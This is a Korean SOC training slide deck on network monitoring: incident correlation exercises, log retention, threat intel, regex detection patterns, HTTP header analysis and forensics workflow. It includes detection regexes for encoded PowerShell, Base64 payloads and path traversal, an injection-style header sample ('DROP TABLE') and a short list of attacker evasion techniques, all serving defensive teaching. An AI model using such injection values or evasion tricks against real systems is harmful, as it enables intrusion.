보강 설명SOC 네트워크 모니터링 대시보드 설계 원칙의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

실전 워크샵318

종합 워크샵 P — 다중 이상 신호 동시 해석

현실에서는 여러 이상이 동시에 발생한다. 우선순위 판단과 상관관계 파악이 핵심이다.

🚨 동시 발생한 이상 신호

① dev-server-03이 새벽 4시 외부 IP와 443 장시간 세션

② 동일 서버에서 DNS NXDOMAIN 50회 발생

③ WEB-01에서 dev-server-03으로 RDP 연결 시도

④ dev-server-03에서 DB-Server로 새로운 SMB 연결

🧠 분석 과제

Q1. 가장 위험도 높은 신호부터 순위를 정하라

Q2. ①~④가 같은 공격의 단계들인가?

Q3. 추가로 확인해야 할 로그는?

Q4. 즉시 취해야 할 조치는?

보강 설명종합 워크샵 P — 다중 이상 신호 동시 해석는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

실전 워크샵319

워크샵 P 해설 — 공격 체인 재구성

신호 4개가 모두 연결된 단일 공격 체인이었다. 상관관계가 핵심이다.

🔗 공격 체인 해석

① C2 Beaconing 수립 → dev-server 침해

② DGA 활성화 → C2 추가 도메인 탐색

③ WEB-01로 역이동 (측면 이동 확대)

④ DB-Server 정찰 → 데이터 유출 준비

✅ 모범 판단문

[Critical] 2024-03-20 04:xx dev-server-03이 C2 통신(①) 후 DGA 활성화(②)하고, WEB-01로 역이동(③) 및 DB-Server 접근(④) 까지 확인됨. 3개 서버 동시 침해 가능성. 즉시 네트워크 격리 및 IR팀 에스컬레이션 권고.

보강 설명워크샵 P 해설 — 공격 체인 재구성는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

운영 정책320

보안 네트워크 로그 보존 정책 수립

법적 요건과 포렌식 필요성을 충족하는 로그 보존 기간과 방법을 정책화해야 한다.

🔴 Full PCAP

3~7일

저장 비용 높음
핵심 구간만 유지

🟡 Flow / 메타데이터

90~365일

중간 비용
행위 패턴 분석용

🟢 Zeek/SIEM 로그

1~3년

저비용 장기 보관
침해 조사 필수

한국 정보통신망법: 접속 로그 6개월 이상 보관 의무 | 개인정보보호법: 처리 목적 달성 시 파기

보강 설명보안 네트워크 로그 보존 정책 수립의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

레드팀 관점321

공격자 시각으로 보는 탐지 우회 기법

공격자가 어떻게 탐지를 피하는지 알아야 더 강력한 탐지 룰을 설계할 수 있다.

🔴 공격자 기법

• Beaconing jitter (불규칙 간격)

• 정상 도구 위장 UA

• 업무 시간대에만 활동

• CDN 뒤에 C2 숨기기

🟢 방어자 대응

• 통계적 주기성 분석 (FFT 등)

• UA + 실제 TLS 핑거프린트 불일치

• 기준선 대비 이상 행위

• CDN IP 뒤 도메인 평판 확인

⚖️ 공격자 한계

아무리 정교해도 네트워크를 통해야 하고, 통하면 흔적을 남긴다. 탐지는 완벽하지 않아도 계속 좁혀나가는 과정이다.

보강 설명공격자 시각으로 보는 탐지 우회 기법의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

커뮤니티322

글로벌 위협 인텔리전스 커뮤니티 활용

혼자 만드는 TI는 한계가 있다. 커뮤니티와 공유하면 탐지 역량이 비약적으로 향상된다.

🌐 주요 TI 공유 플랫폼

MISP — 오픈소스 위협 공유 플랫폼

AlienVault OTX — 무료 글로벌 IOC 피드

ISAC — 산업별 정보 공유 분석 센터

KRCERT/CC — 국내 침해 사고 공유 채널

VirusTotal — 샘플 공유 + IOC 연관

💡 효과적인 TI 활용법

📥 받기만 하지 말고 공유도 기여

📅 TI 피드 신선도 확인 (30일 이상 오래된 IOC 주의)

⚖️ 산업/지역 관련성 필터링

🔄 자동 연동 + 주기적 검토

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

법과 윤리323

보안 모니터링과 개인정보보호 — 균형 잡기

보안 모니터링은 개인정보를 다룬다. 법적 테두리 안에서 합법적으로 운영해야 법적 보호를 받는다.

⚖️ 한국 법령 주요 원칙

📋 수집 목적 명확화 (보안 목적 명시)

📏 최소 수집 원칙 (필요한 것만)

🔐 수집 로그 접근 통제 필수

🗑️ 보존 기간 초과 시 파기

📄 취업규칙/보안 정책 고지

🔍 실무 균형 원칙

✅ 트래픽 메타데이터는 수집 가능

✅ 업무망 내 통신 모니터링 가능

⚠️ 개인 이메일 내용 열람은 제한

❌ 개인정보 분석 결과 외부 공유 금지

의심스러울 때는 법무팀/개인정보 담당자와 협의

보강 설명보안 모니터링과 개인정보보호 — 균형 잡기의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

에필로그324

네트워크는 거짓말하지 않는다

올바른 질문을 던지는 분석가만이 진실을 볼 수 있다

👁️

보는 눈을 길러라

데이터 뒤에 있는 이야기를 읽는 능력

🧠

판단 구조를 익혀라

Fact → Pattern → Context → Action

🔄

계속 개선하라

탐지 → 분석 → 개선의 반복이 성장이다

보강 설명네트워크는 거짓말하지 않는다 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

인프라 설계325

패킷 캡처 포인트 설계 — 어디서 잡을 것인가

캡처 위치가 분석 품질을 결정한다. 네트워크 토폴로지를 이해하고 최적의 캡처 포인트를 선정해야 한다.

🗺️ 추천 캡처 포인트

🔴 인터넷 경계 ← 외부 위협 탐지 핵심

🟡 DMZ 앞뒤 ← 서버 침해 탐지

🔵 내부 핵심 구간 ← Lateral Movement

🟢 DB/결제 서버 앞 ← 데이터 보호

💡 실무 설계 원칙

저장 용량 vs 트래픽 볼륨 계산 필수

캡처 회전 정책 (파일 크기/시간)

암호화 트래픽 구간은 복호화 후 캡처

고부하 구간 → TAP으로 유실 방지

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

실무 스킬326

보안 로그 분석 — 정규표현식 실전 패턴

정규표현식은 SIEM 룰, grep, Python 모두에서 사용되는 필수 패턴 매칭 도구다.

🔍 자주 쓰는 보안 패턴

# IPv4 주소 추출 \b(?:\d{1,3}\.){3}\d{1,3}\b # 의심 도메인 (무작위 서브) [a-z0-9]{15,}\.[a-z]{2,6} # Base64 인코딩 탐지 [A-Za-z0-9+/]{40,}={0,2} # PowerShell 인코딩 명령 -[Ee]nc(odedCommand)?\s+[A-Za-z0-9+/] # URL 경로 탐색 패턴 \.\./|\.\.\\

💻 grep 실전 활용

# 외부 IP가 포함된 로그라인 grep -P '\b(?!10\.|192\.168\.|172\.\ (1[6-9]|2\d|3[01])\.)\d{1,3}\.\d{1,3}\ \.\d{1,3}\.\d{1,3}\b' conn.log # DGA 의심 도메인 (30자 이상) grep -P '[a-z0-9]{30,}\.' dns.log # Base64 파라미터 grep -P '=[A-Za-z0-9+/]{40,}' proxy.log

실시간 대응327

긴급 방화벽 차단 — 안전한 실행 절차

방화벽 차단은 업무 영향이 있을 수 있다. 확인 단계를 거쳐야 실수를 예방한다.

⚠️ 차단 전 반드시 확인

❓ 해당 IP/도메인이 업무 연관인가?

❓ CDN/공유 호스팅 IP가 아닌가?

❓ 내부 사용자가 정상 접속 중인가?

❓ 차단 시 영향 범위는?

✅ 단계적 차단 절차

현재 연결 수/자산 파악

관리자/팀장 승인 (고위험 시)

Outbound 먼저 차단 → 효과 확인

티켓 기록 + 모니터링 지속

보강 설명긴급 방화벽 차단 — 안전한 실행 절차의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

SIEM 기초328

로그 정규화 — 다양한 포맷을 하나로 통합

방화벽, Zeek, IDS, Proxy 등 각기 다른 포맷 로그를 SIEM에서 통합 분석하려면 정규화가 필수다.

📋 정규화 핵심 필드

# 공통 필드 매핑 목표 { "timestamp": "UTC ISO8601", "src_ip": "출발지 IP", "dst_ip": "목적지 IP", "src_port": "출발지 포트", "dst_port": "목적지 포트", "protocol": "TCP/UDP/ICMP", "action": "allow/deny/alert", "bytes_out": "업로드 바이트", "bytes_in": "다운로드 바이트" }

🔄 Logstash 파이프라인 예시

filter { if [type] == "zeek_conn" { mutate { rename => { "id.orig_h" => "src_ip" "id.resp_h" => "dst_ip" "id.orig_p" => "src_port" "id.resp_p" => "dst_port" } } date { match => ["ts", "UNIX"] target => "@timestamp" } } }

자동화329

SOC 네트워크 탐지 자동화 단계별 로드맵

자동화는 한 번에 완성되지 않는다. 단계별로 쌓아가는 것이 현실적이고 안전하다.

Phase 1
데이터 수집

Zeek + Suricata 배포, SIEM 파이핑, 로그 정규화 → 모든 자동화의 기반

Phase 2
탐지 룰

기본 탐지 룰 10개 → 오탐 튜닝 → 룰 라이브러리 구축

Phase 3
Enrichment

Alert 발생 시 IP 평판/WHOIS 자동 조회 → 분석가 Triage 시간 단축

Phase 4
SOAR

티켓 자동 생성 + 단순 케이스 자동 처리 + 에스컬레이션 자동 알림

Phase 5
AI/ML 탐지

행위 기반 이상 탐지 + Beaconing 자동 감지 + 위험도 자동 스코어링

보강 설명SOC 네트워크 탐지 자동화 단계별 로드맵는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

실무 도구330

알람 수신 즉시 실행할 5분 체크리스트

패닉하지 말고 체계적으로. 처음 5분의 판단이 대응 방향을 결정한다.

알람 소스 확인 — 어떤 룰에서 발생? 신뢰도는?

관련 자산 파악 — 어떤 서버/PC? 역할은? 민감도는?

시간 컨텍스트 — 업무 시간인가? 이 시간대에 정상 활동이 있나?

유사 패턴 확인 — 과거 동일 알람 이력? 오탐 이력?

연관 로그 1차 확인 — DNS·conn·proxy 중 1개 즉시 조회

5분 안에 위험도 초기 판단 → 즉시 조치 / 심층 분석 / 오탐 처리 결정

보강 설명알람 수신 즉시 실행할 5분 체크리스트 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

탐지 심화331

취약점 스캐닝 트래픽 — 정상과 악성 구분

Nessus, Qualys 같은 정상 스캐너도 네트워크에서는 공격자 스캔과 유사하게 보인다.

✅ 정상 스캐닝 특징

• 출발지: 승인된 스캐너 IP

• 시간: 정해진 유지보수 창

• 대상: 사전 등록된 자산 범위

• 티켓/변경 요청 선행

• 반복 주기 예측 가능

🚨 악성 스캐닝 특징

• 출발지: 미인가 외부/내부 IP

• 시간: 새벽·주말·공휴일

• 대상: 전체 IP 범위 무차별

• 사전 공지 없음

• S0 conn_state 다량 발생

스캐너 IP 화이트리스트 관리 + 승인된 스캔 일정 SOC 공유 필수

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

프로토콜 심화332

HTTP 헤더 분석 심화 — 공격 흔적 찾기

HTTP 헤더는 공격자의 도구, 의도, 기법을 노출한다. 헤더 값을 꼼꼼히 읽어야 한다.

🔍 이상 헤더 패턴

# 공격 도구 노출 UA User-Agent: sqlmap/1.7 User-Agent: Nikto/2.1.6 User-Agent: python-requests/2.28 User-Agent: curl/7.64 (공격 스크립트) # 비정상적으로 긴 헤더 (인젝션) X-Forwarded-For: 10.0.0.1; DROP TABLE # 존재하지 않는 커스텀 헤더 X-Custom-Payload: [base64데이터]

🎯 헤더 분석 체크포인트

🔴 UA에 스캐너/익스플로잇 도구명

🔴 Referer 없는 직접 API 호출

🟡 Host 헤더와 SNI 불일치

🟡 Authorization 헤더 반복 실패

🔵 Content-Type 이상 (실행 파일 전송)

보강 설명HTTP 헤더 분석 심화 — 공격 흔적 찾기에서는 요청 한 줄보다 Method·URI·상태코드·응답 크기·헤더 변화까지 같이 읽어야 한다. 암호화되어도 SNI, 인증서, JA3, 세션 주기 같은 행동 단서는 계속 남는다.

HTTP/TLS행위 해석로그 연계

핵심 포인트

Method와 URI는 의도, 상태코드와 bytes는 결과를 보여준다
반복 요청, 헤더 이상, 비정상 경로 접근은 자동화 공격 신호다
TLS는 내용을 숨겨도 인증서와 세션 패턴으로 충분히 해석 가능하다

추가 확인

같은 Source의 전후 URL 흐름을 묶어 탐색→시도→성공 여부 확인
Proxy·WAF·App 로그에서 같은 요청이 어떻게 보였는지 대조
평소 서비스 구조상 존재하지 않는 경로나 업로드 경로인지 점검

실무 예시

404 급증은 스캐닝, 200 전환은 성공 가능성으로 이어질 수 있다
Self-signed 인증서와 규칙적 443 세션은 C2 가능성을 높인다
웹쉘은 업로드 로그와 실행 로그를 반드시 체인으로 본다

분석 기법333

네트워크 보안 데이터 시각화 기법

적절한 시각화는 수만 건의 로그에서 즉시 이상 패턴을 눈으로 확인하게 해준다.

📊 시간 히트맵

요일 × 시간대 연결 밀도 → 비정상 시간대 즉시 식별

🌐 연결 그래프

노드: 자산, 엣지: 연결 → 고립 노드 이상 연결 시각화

📈 시계열 분석

DNS/HTTP/트래픽 볼륨 시계열 → Spike 즉시 탐지

🗺️ GeoIP 지도

통신 목적지 국가 시각화 → 이상 국가 연결 탐지

Kibana, Grafana, Splunk 모두 이런 시각화를 지원한다

보강 설명네트워크 보안 데이터 시각화 기법의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

소프트 스킬334

SOC 분석가의 효과적인 커뮤니케이션

기술 지식만큼 중요한 것이 올바른 전달이다. 오해를 만드는 보고는 오히려 피해를 키운다.

❌ 나쁜 보고 예시

"아무래도 뭔가 이상한 것 같아요. 패킷이 좀 이상하게 나오던데요. 한번 봐주세요."

✅ 좋은 보고 예시

"14:32부터 dev-02(10.0.1.5)가 5분 간격으로 의심 외부 IP와 443 연결 중입니다. 평판 조회 결과 악성 신고 이력 있으며 EDR 확인 필요합니다. 격리 승인 요청드립니다."

구체적 사실
시간/IP/행위

판단 근거
왜 의심인가

명확한 요청
무엇을 원하는가

보강 설명SOC 분석가의 효과적인 커뮤니케이션 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

컴플라이언스335

보안 감사 대비 — 네트워크 관련 증거 준비

ISMS, 금융보안원, ISO 27001 등 외부 감사에서 네트워크 보안 운영을 증명할 수 있어야 한다.

📋 감사에서 요구하는 것

📄 방화벽 정책 문서화 현황

📊 로그 보존 증거 (기간/범위)

🔔 알람 발생/처리 이력 통계

🔄 탐지 룰 검토/갱신 이력

🛡️ 침해 사고 대응 절차서

✅ 평소에 준비할 것

모든 대응 활동을 티켓으로 기록

월간 알람 통계 리포트 자동화

룰 변경 이력 버전 관리 (Git)

로그 보존 현황 정기 검증

보강 설명보안 감사 대비 — 네트워크 관련 증거 준비의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

팀 운영336

신규 SOC 분석가 온보딩 90일 로드맵

체계적인 온보딩이 없으면 신규 분석가는 현장에서 고립된다. 단계별 가이드가 필수다.

Day 1~30

• 환경 파악 (자산, 네트워크 구조)

• 도구 접근 권한 설정

• 주요 로그 포맷 실습

• 기존 알람 케이스 복습

• 선임과 페어 분석

Day 31~60

• 독립적 알람 Triage 시작

• 판단문 작성 훈련

• SIEM 쿼리 독자 작성

• 에스컬레이션 기준 숙지

• 첫 보고서 작성

Day 61~90

• 탐지 룰 1개 이상 개선

• 인시던트 독립 처리

• 오탐 예외 관리 참여

• 팀 KPI 기여 시작

• 성과 리뷰

보강 설명신규 SOC 분석가 온보딩 90일 로드맵는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

전략 사고337

네트워크 보안 위협 모델링 기초

위협 모델링은 "공격자가 어떤 경로로 올 것인가"를 먼저 생각해 탐지 전략을 설계하는 방법이다.

🔄 STRIDE 네트워크 적용

Spoofing — IP 스푸핑, ARP 스푸핑

Tampering — 패킷 변조, 중간자 공격

Repudiation — 로그 삭제, 타임스탬프 조작

Information Disclosure — 스니핑, 데이터 유출

DoS — 대역폭 소진, 연결 플러드

Elevation — 권한 상승, Lateral Movement

🗺️ 공격 표면 식별 질문

외부에서 접근 가능한 서비스는?

가장 가치 있는 내부 자산은?

현재 탐지하지 못하는 경로는?

공격자가 가장 노릴 경로는?

보강 설명네트워크 보안 위협 모델링 기초의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

포렌식 심화338

실제 침해 시 네트워크 포렌식 워크플로우

침해 사고가 발생했을 때 네트워크 포렌식을 체계적으로 진행하는 절차를 알아야 한다.

범위 확정 — 침해된 시스템, 영향 기간, 관련 자산 파악

증거 보존 — 관련 기간 PCAP/Zeek/FW 로그 즉시 보존, SHA256 해시

타임라인 구성 — 최초 접근 → C2 → 내부 이동 → 유출의 시간축 재구성

IOC 추출 — C2 IP/도메인, JA3, 유출 목적지를 IOC로 정리

탐지 룰 추가 — 발견된 IOC와 패턴으로 새 룰 생성 → 피드백 루프

